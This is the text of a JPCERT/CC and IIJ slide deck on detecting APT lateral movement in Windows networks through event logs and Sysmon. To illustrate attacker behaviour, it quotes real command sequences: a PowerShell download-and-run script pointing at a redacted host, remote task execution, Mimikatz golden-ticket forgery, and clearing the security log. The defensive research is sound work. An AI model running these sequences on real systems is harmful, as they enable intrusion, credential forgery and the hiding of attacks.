Pursue the Attackers - Identify and Investigate Lateral Movement Based on Behavior Pattern

Pursue the Attackers - Identify and Investigate Lateral Movement Based on Behavior Pattern -

Shusei Tomonaga (JPCERT/CC) Keisuke Muda (Internet Initiative Japan Inc.) Self-introduction Shusei Tomonaga Analysis Center at JPCERT/CC Malware analysis, Forensics investigation. Written up posts on malware analysis and technical findings on this blog and Github. —http://blog.jpcert.or.jp/ —https://github.com/JPCERTCC/aa-tools

1 Copyright ©2017 JPCERT/CC All rights reserved. Self-introduction Keisuke Muda Internet Initiative Japan Inc. (IIJ) Analyst, Security Operation Center, Security Business Department, Advanced Security Division As a member of IIJ SOC, primarily working on: —Analysis of logs sent from customers’ networks —Research/Analysis of software vulnerabilities —Enhancement of IIJ SOC service and the service infrastructure

• Logs required for investigation are not always recorded

• Difficult to detect Lateral Movement

If you know what logs are recorded with the lateral movement tools, IR will be easier. For lateral movement, a limited set of tools are used in many different incidents.

There are some common patterns in the lateral movement methods.

4 Copyright ©2017 JPCERT/CC All rights reserved. This Presentation Topics Overview of APT Incident and １ Lateral Movement Tools Used by Attackers for ２ Lateral Movement ３ Tracing Attacks Analysis of Tools Used by ４ Attackers

1. Infection 5. Sending stolen data 2. Initial Target Network investigation 3. Internal reconnaissance

4. Spread of infection AD/ File Server

6. Delete evidence

Attackers use not only attack tools but also Windows commands and legitimate tools.

Why attackers use Windows commands and legitimate tools?

They are not detected by antivirus software.

9 Copyright ©2017 JPCERT/CC All rights reserved. Research of Tools Used by Attackers Research Methods Investigating C&C servers and malware connections in five operations. APT10 (named by FireEye) APT17 (named by FireEye) Dragon OK (named by Palo Alto) Blue Termite (named by Kaspersky) Tick (named by Symantec)

Access Database

Executed commands

Daserf(Delphi) LZNT1 + RC4 + Custom Base64 Constant (Depends on the malware)

DATPER(old) LZNT1 + RC4 + Custom Base64 Constant (Depends on the malware) lzrw1kh + xor + RC4 + Custom DATPER(new) Constant Base64 (Depends on the malware) Fixed(“1234”) xxmm LZNT1 + RC4 + Custom Base64 or one-time key

Total command Total number of execution: 16,866 infected host: 645

Total Windows command execution: 14,268

The most used command is tasklist.

If the infected host was a virtual machine for analysis, the attacker will escape soon.

16 Copyright ©2017 JPCERT/CC All rights reserved. Windows Command Used by Initial Investigation Rank Command Count 1 tasklist 327 2 ver 182 3 ipconfig 145 4 net time 133 5 systeminfo 75 6 netstat 42 7 whoami 37 8 nbtstat 36 9 net start 35 10 set 29 11 qprocess 27 12 nslookup 11 17 Copyright ©2017 JPCERT/CC All rights reserved. Lateral Movement: Internal Reconnaissance Internal Reconnaissance • Look for information saved in the compromised machine and information on the network

The most used command is dir. —The attacker look around confidential data stored in the infected host. For searching the local network, net is used.

18 Copyright ©2017 JPCERT/CC All rights reserved. Windows Command Used for Internal Reconnaissance Rank Command Count 1 dir 4466 2 ping 2372 3 net view 590 4 type 543 5 net use 541 6 echo 496 7 net user 442 8 net group 172 9 net localgroup 85 10 dsquery 81 11 net config 32 12 csvde 21 19 Copyright ©2017 JPCERT/CC All rights reserved. net Command net view — Obtain a list of connectable domain resources net user — Manage local/domain accounts net localgroup — Obtain a list of users belonging to local groups net group — Obtain a list of users belonging to certain domain groups net use — Access to resources

20 Copyright ©2017 JPCERT/CC All rights reserved. Why ping command is often executed? Searching network hosts using ping > echo @echo off >ee.bat > echo for /l %%i in (1,1,255) do ping -n 1 10.0.0.%%i ^|find "TTL=" ^>^>rr.txt >>ee.bat > type ee.bat > ee.bat

> echo $p = New-Object System.Net.WebClient >xz.ps1 > echo $p.DownloadFile("http://xxxxxxxxxx.com/wp/0122. dat","c:¥intel¥logs¥0122.exe") >>xz.ps1 > type xz.ps1 > powershell -ExecutionPolicy ByPass -File C:¥intel¥logs¥ xz.ps1

22 Copyright ©2017 JPCERT/CC All rights reserved. Windows Command Used for Internal Reconnaissance Rank Command Count 13 net share 19 14 quser 18 15 net session 17 16 query 12 17 tracert 9 18 cscript 9 19 nltest 5 20 dumpel 5 21 tree 3 22 LogParser 2 23 net accounts 2 24 route 1 23 Copyright ©2017 JPCERT/CC All rights reserved. Search Logon Event logs dumpel command > dumpel.exe -f ac1.dat -l security -s ¥¥10.0.0.1 -d 10 LogParser command

> LogParser ""Select *From V:¥Server¥Security.evtx Where EventID=4624 AND TimeGenerated < '2017-04-28 23:59:59' AND TimeGenerated > '2017-04-28 00:00:00'"" -i:evt -o:csv > V:¥Server¥Security.csv"

> LogParser -i:evt -o:csv ¥select strings,timegenerated from security where eventid=4624 and strings like ‘%min%' and strings like '%winlogon.exe%' and (timegenerated between TO_TIMESTAMP(‘2017-10-01’, 'yyyy-MM-dd’) and TO_TIMESTAMP(‘2017-10-06', 'yyyy-MM-dd'))¥ >c:¥ windows¥temp¥log.csv

eventquery.vbs —Lists the events and event properties from one or more event logs. —Installed by default on Windows XP, Windows Server 2003. (Does not function on Windows 7 and later)

The most used command is at. —“at” command is not supported on Windows 10, Windows 8.1 etc. —If "at" doesn't exist, schtasks is used. Password dump tool is always used.

27 Copyright ©2017 JPCERT/CC All rights reserved. Windows Command Used for Spread of Infection Rank Command Count 1 at 445 2 move 399 3 schtasks 379 4 copy 299 5 ren 151 6 reg 119 7 wmic 40 8 powershell 29 9 md 16 10 runas 7 11 sc 6 12 netsh 6 28 Copyright ©2017 JPCERT/CC All rights reserved. Remote Command Execute Used Windows Command at command > at ¥¥[IP Address] 12:00 cmd /c "C:¥windows¥temp¥mal.exe"

schtasks command

> schtasks /create /tn [Task Name] /tr C:¥1.bat /sc onstart /ru System /s [IP Address]

wmic command > wmic /node:[IP Address] /user:”[User Name]” /password:”[PASSWORD]” process call create “cmd /c c:¥Windows¥System32¥net.exe user”

30 Copyright ©2017 JPCERT/CC All rights reserved. Compile the MOF File The Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. mofcomp command > move %temp%¥mseinst.mof ¥¥server¥C$¥WINDOWS¥ system32¥wbem¥svmon.mof > mofcomp -N:root¥default C:¥WINDOWS¥system32 ¥wbem¥svmon.mof >c:¥mofinst.txt > mofcomp -AUTORECOVER C:¥WINDOWS¥system32 ¥wbem¥svmon.mof >>c:¥mofinst.txt

Delete evidence

• Delete files used by the attacker and logs

The most used command is del.

For deleting the event log, wevtutil is used.

33 Copyright ©2017 JPCERT/CC All rights reserved. wevtutil command Delete event logs > wevtutil cl security Search logon event logs > wevtutil qe security /f:text /q:""*[System[EventID =4624 or EventID=4769 or EventID=4672 or EventID=4768]] and *[System[TimeCreated[@ SystemTime>='2017-07-10T00:00:00.000']]]"" >c:¥windows¥system32¥log.txt

34 Copyright ©2017 JPCERT/CC All rights reserved. wevtutil command Search start-up event logs > wevtutil qe system /count:20 /rd:true /f:text /q: ""Event[System[(EventID=6005)]]"" |find ""Date"" > inf.txt

35 Copyright ©2017 JPCERT/CC All rights reserved. Delete Evidence of Pass-the-Ticket An attacker uses Pass-the-ticket when spreading infection to other hosts —Pass-the-hash is rarely used Pass-the-ticket —Issues an unauthorized ticket that grants access without additional authentication —Golden ticket Use TGT (Ticket-Granting Tickets) —Silver ticket Use ST (Service Ticket)

> klist purge

> cd ¥intel¥logs Initial investigation > whoami > klist > net use > klist purge Golden Ticket with Mimikatz > IntelGFX.exe "kerberos::golden /user:administrator /domain:[Domain] /sid:[SID] /krbtgt:[RC4 Key] /group:502 /ticket:0422.tck" exit > IntelGFX.exe "kerberos::ptt 0422.tck" exit > ping -n 1 10.1.44.16 > ping -n 1 10.1.2.16 > net use ¥¥10.1.2.16 Internal reconnaissance > dir ¥¥100.1.2.16¥c$¥users

38 Copyright ©2017 JPCERT/CC All rights reserved. > copy bb.bat ¥¥10.1.2.16¥c$¥windows¥system32¥ > net time ¥¥10.1.2.16 Spread of infection > at ¥¥10.1.2.16 12:27 bb.bat > dir ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt > move ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt . > del ¥¥10.1.2.16¥c$¥windows¥system32¥bb.bat > copy zt.exe ¥¥10.1.2.16¥c$¥windows¥system32¥mscfg.exe > net time ¥¥10.1.2.16 > at ¥¥10.1.2.16 12:33 mscfg.exe > dir ¥¥10.1.2.16¥c$¥windows¥system32¥mscfg.exe > del ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt > del ¥¥10.1.2.16¥c$¥windows¥tasks¥at*.job > net use ¥¥10.1.2.16 /del > dir Delete evidence > del zt.exe inf.txt bb.bat > dir > net use 39 Copyright ©2017 JPCERT/CC All rights reserved. Overview of APT Incident and １ Lateral Movement Tools Used by Attackers for ２ Lateral Movement ３ Tracing Attacks Analysis of Tools Used by ４ Attackers

Tools executed

Files/Intelligences being accessed Network traffics Possibility of attackers coming back

Tools executed Find in Execution History

Files/Intelligences being accessed Network traffics Possibility of attackers coming back Find in Access and Execution Histories

42 Copyright ©2017 JPCERT/CC All rights reserved. What Do We Want vs. What Can Be Found Following records are taken by default on Windows: — Client OS Successful/Failed Logon Successful Logoff Successful Policy Modification ... that’s about it — Server OS Successful Authentication in addition to the above

Some of the “Logon Histories” could be traced from the default logs. There may not be enough record to prove “Execution History” and “Access History”.

43 Copyright ©2017 JPCERT/CC All rights reserved. Preparing For Investigation Default configuration is not enough. —Methods to cover the missing pieces are needed. —There are not so many documents that summarize methods and significant points for identifying threats.

Some of the entities are not recorded by default, but it is possible to configure hosts to keep those records. —We do need to think about which entities we should cover to track the attacks.

44 Copyright ©2017 JPCERT/CC All rights reserved. Detecting Lateral Movement through Tracking Event Logs Tools and commands that were used in actual attacks were analyzed. —49 different tools that were frequently used in attack behaviors were selected. Approx. 1/3 were legitimate Windows tools. —Each of them was tested on a virtual network, and their execution “logs” were recorded.

45 Copyright ©2017 JPCERT/CC All rights reserved. Detecting Lateral Movement through Tracking Event Logs Tools and commands that were used in actual attacks were analyzed. —49 different tools that were frequently used in attack behaviors were selected. Approx. 1/3 were legitimate Windows tools. —Each of them was tested on a virtual network, and their execution “logs” were recorded.

In most cases, additional tweaks were necessary to obtain enough records.

First published in 2016 Updated version 2017 available in Japanese — English version coming in December

Report screenshot in Japanese; English version coming soon.

48 Copyright ©2017 JPCERT/CC All rights reserved. Elements Researched Windows Event Logs —Default and additional logs Registry Cache for performance improvements File System Activities File/Folder Access Histories Network Traffic

There were some other useful information. USN Packet Journals Capture

Additional settings makes difference in amount of evidences that may be obtained. —Without those additional settings, evidences obtained from the compromised hosts may not be enough.

54 Copyright ©2017 JPCERT/CC All rights reserved. Example: Get-GPPPassword.ps1 Is a PowerShell script published on GitHub. Obtains plain text passwords stored on Group Policy settings. —Passwords can be stored when an update for MS14-025 is not applied.

The following slides assume execution of the PowerShell scripts.

1. Create an Access Path Install remote access and/or other tools. (Out of scope of this session)

Necessary information, such as AD domain names 2. Investigate the Network and domain controller FQDN, are obtained.

Permit PowerShell script execution 3. Permit Script Execution (which is disabled by default).

4. Download the Script Download the script to execute.

5. Execute the Script Execute the downloaded script.

6. Remove Evidences Remove evidences of compromises.

56 Copyright ©2017 JPCERT/CC All rights reserved. What Do We Want to Know About the Attacks…? Hosts Accounts/Privileges used Looks similar to an ordinal Find in Logon History Logon Tools executed PowerShell Find in Execution History was used in some ways, Files/Intelligences being accessed but not sure Network traffics about what Possibility of attackers coming back has Find in Access and Execution Histories happened

1. Create an Access Path (Out of scope of this session)

Investigate compromised accounts and 2. Investigate the Network executed commands using Audit Policies

Trace change on settings from PowerShell 3. Permit Script Execution execution and registry modification histories

4. Download the Script Find script downloads from the network traffic logs

Trace execution history from PowerShell and 5. Execute the Script command execution histories

Prepare not to lose trace logs even when 6. Remove Evidences attackers remove them from compromised hosts

1. Create an Access Path (Out of scope of this session)

Investigate compromised accounts and 2. Investigate the Network executed commands using Audit Policies

Trace change on settings from PowerShell 3. Permit Script Execution execution and registry modification histories

4. Download the Script Find script downloads from the network traffic logs

Trace execution history from PowerShell and 5. Execute the Script command execution histories

Prepare not to lose trace logs even when 6. Remove Evidences attackers remove them from compromised hosts

With default settings, not many events are actually audited. —Resulting in lack of evidences for tracing the attacks.

60 Copyright ©2017 JPCERT/CC All rights reserved. Sysmon A software that is a part of Windows Sysinternals. — https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon The software is publicly available on the webpage above.

61 Copyright ©2017 JPCERT/CC All rights reserved. Sysmon A software that is a part of Windows Sysinternals. — https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon The software is publicly available on the webpage above. Information logged are shown below (based on version 6.10, released on May 2017)

Process created Read disk using Driver loaded Registry events WMI events /terminated “¥¥.¥” denotation

Change of file Process File stream Image loaded creation time accessed events

Network Thread created in File creation Pipe events connection another process

62 Copyright ©2017 JPCERT/CC All rights reserved. Advantages of Log Analysis If logs are preserved: Evidences that cannot be recovered afterwards are recorded. If there is a case where the tool creates a temporary file: When searching on the disk... The file may be removed from the disk and cannot be recovered. Applications and When running forensics... command lines “The file was created” in some From logs... used for creating files ways, but not sure about exactly may be recovered. what was in the file

63 Copyright ©2017 JPCERT/CC All rights reserved. Appropriate Configurations Not a smart idea — “We have no idea about which logs we should keep. Simply just keep every single log” If “take everything and filter out later” is the policy, it is okay to keep everything.

By default, old logs are overwritten when a log reaches its maximum size. — Domain Controller: 128MB — Others: 20MB

Important evidences might get buried without appropriate configurations. — Logs for several weeks are stored without additional settings, but does not contain enough evidences — Logs may be overwritten within few hours with improperly configured additional settings

64 Copyright ©2017 JPCERT/CC All rights reserved. Useful Events (“Security” Events) Events that were “useful”: Logon Process Executed Account Management Handles 4611 4624 4648 4688 4720 4722 4724 4656 4658 4659 4776 4778 4726 4728 4737 4660 4661 4663 4738 4690

Logoff Process Terminated Policy Change VSS 4634 4779 4689 4670 4904 4905 8222 4946 4947

Use of Privileges Filtering Platform File Sharing 4672 4673 4674 5156 5140 5142 4703 4768 4769 5144 5145 4771

System Microsoft-Windows Microsoft-Windows Microsoft-Windows 7036 7040 7045 -Application-Experience -Kernel-PnPConfig -TerminalServices /Program-Telemetry /Configuration -LocalSessionManager /Operational Microsoft-Windows Microsoft-Windows -Bits-Client -PowerShell Microsoft-Windows Application /Operational /Operational -TerminalServices 102 103 105 216 -RemoteConnection Manager/Operational 300 302 2001 Microsoft-Windows Microsoft-Windows 2003 2005 2006 -DeviceSetupManager -WinRM/Operational Microsoft-Windows /Admin -TerminalServices Logs Cleared -RDPClient/Operational 104 Microsoft-Windows Microsoft-Windows -Kernel-PnP -Windows-WMI-Activity /Configuration /Operational

Process Created Network Connection Process Accessed 1 3 10 Use with “Security” audits Use with “Security” audits File Creation Process Terminated CreateRemoteThread Time Changed 5 8 2 Use with “Security” audits RawAccessRead Registry Events 9 12, 13

67 Copyright ©2017 JPCERT/CC All rights reserved. Audit Policies and Sysmon (1) Some properties might be common in both logs —Sysmon logs tend to have more useful details. —Some properties, such as “Token Elevation Types” appears only on Audit logs. Audit Sysmon

1. Create an Access Path (Out of scope of this session)

Investigate compromised accounts and 2. Investigate the Network executed commands using Audit Policies Done

Trace change on settings from PowerShell Done for 3. Permit Script Execution execution and registry modification histories Registry

4. Download the Script Find script downloads from the network traffic logs “PowerShell 5. Execute the Script Trace execution history from PowerShell and was used” in command execution histories some way Prepare not to lose trace logs even when 6. Remove Evidences attackers remove them from compromised hosts

70 Copyright ©2017 JPCERT/CC All rights reserved. PowerShell Logs With group policies, it is possible to configure Windows to record PowerShell logs on: —Windows 10, and —Previous Windows versions with required modules installed

Script Command History (%AppData%¥Microsoft¥Windows ¥PowerShell¥PSReadline)

1. Create an Access Path (Out of scope of this session)

Investigate compromised accounts and 2. Investigate the Network executed commands using Audit Policies Done

Trace change on settings from PowerShell 3. Permit Script Execution execution and registry modification histories Done

4. Download the Script Find script downloads from the network traffic logs

Trace execution history from PowerShell and 5. Execute the Script command execution histories Done

Prepare not to lose trace logs even when 6. Remove Evidences attackers remove them from compromised hosts

74 Copyright ©2017 JPCERT/CC All rights reserved. Investigating Network Activities If there are network devices... — Logs from firewalls, web proxies, IDS/IPS, and so on are useful. If there are no network devices that can produce useful logs…

Windows Filtering Sysmon Event 3 Access to Shared Platform (“Network connection Folders (Logged on (Windows Firewall) detected”) the Domain Controller)

Audit Sysmon

76 Copyright ©2017 JPCERT/CC All rights reserved. File Downloads History of file downloads may be found on: —PowerShell commands Invoke-WebRequest, System.Net.WebClient.DownloadFile, etc… Can be checked from PowerShell logs —Files related to web browsers Download history Temporary Internet Files

It is possible to check them using Event Logs.

1. Create an Access Path (Out of scope of this session)

Investigate compromised accounts and 2. Investigate the Network executed commands using Audit Policies Done

Trace change on settings from PowerShell 3. Permit Script Execution execution and registry modification histories Done

4. Download the Script Find script downloads from the network traffic logs Done

Trace execution history from PowerShell and 5. Execute the Script command execution histories Done

Prepare not to lose trace logs even when 6. Remove Evidences attackers remove them from compromised hosts

If the attacker creates a RAR or a ZIP file to create a single file to upload obtained files to his/her site... —The archive file is created temporarily, and then removed from the disk so it would not be found.

If logs are logged on a file, simply removing the log file will clear an evidence.

Need to consider a case where logs were cleared by attackers.

Real-time log transfer to other hosts help administrators to trace events even when the logs were cleared from hosts locally. —Event subscription —Send using protocols such as Syslog —Back up log files periodically

1. Create an Access Path (Out of scope of this session)

Investigate compromised accounts and 2. Investigate the Network executed commands using Audit Policies Done

Trace change on settings from PowerShell 3. Permit Script Execution execution and registry modification histories Done

4. Download the Script Find script downloads from the network traffic logs Done

Trace execution history from PowerShell and 5. Execute the Script command execution histories Done

Prepare not to lose trace logs even when 6. Remove Evidences attackers remove them from compromised hosts Done

When attackers clear the logs stored on the compromised hosts, it becomes difficult to trace attacks. —It is important to think about gathering logs on other hosts securely.

83 Copyright ©2017 JPCERT/CC All rights reserved. “Pros” of the Method Execution histories of tools may be traced. —They cannot be traced by default settings. —Some “valuable” logs are recorded by simply modifying Windows settings and installing the free software

Adding other elements would improve analysis. —Monitoring networks —Monitoring endpoints etc...

Many attack tools can be detected with audit policy and Sysmon.

Our report would be helpful if you are investigating APT incidents.

Q&A

https://www.jpcert.or.jp/english/pub/sr/ir_research.html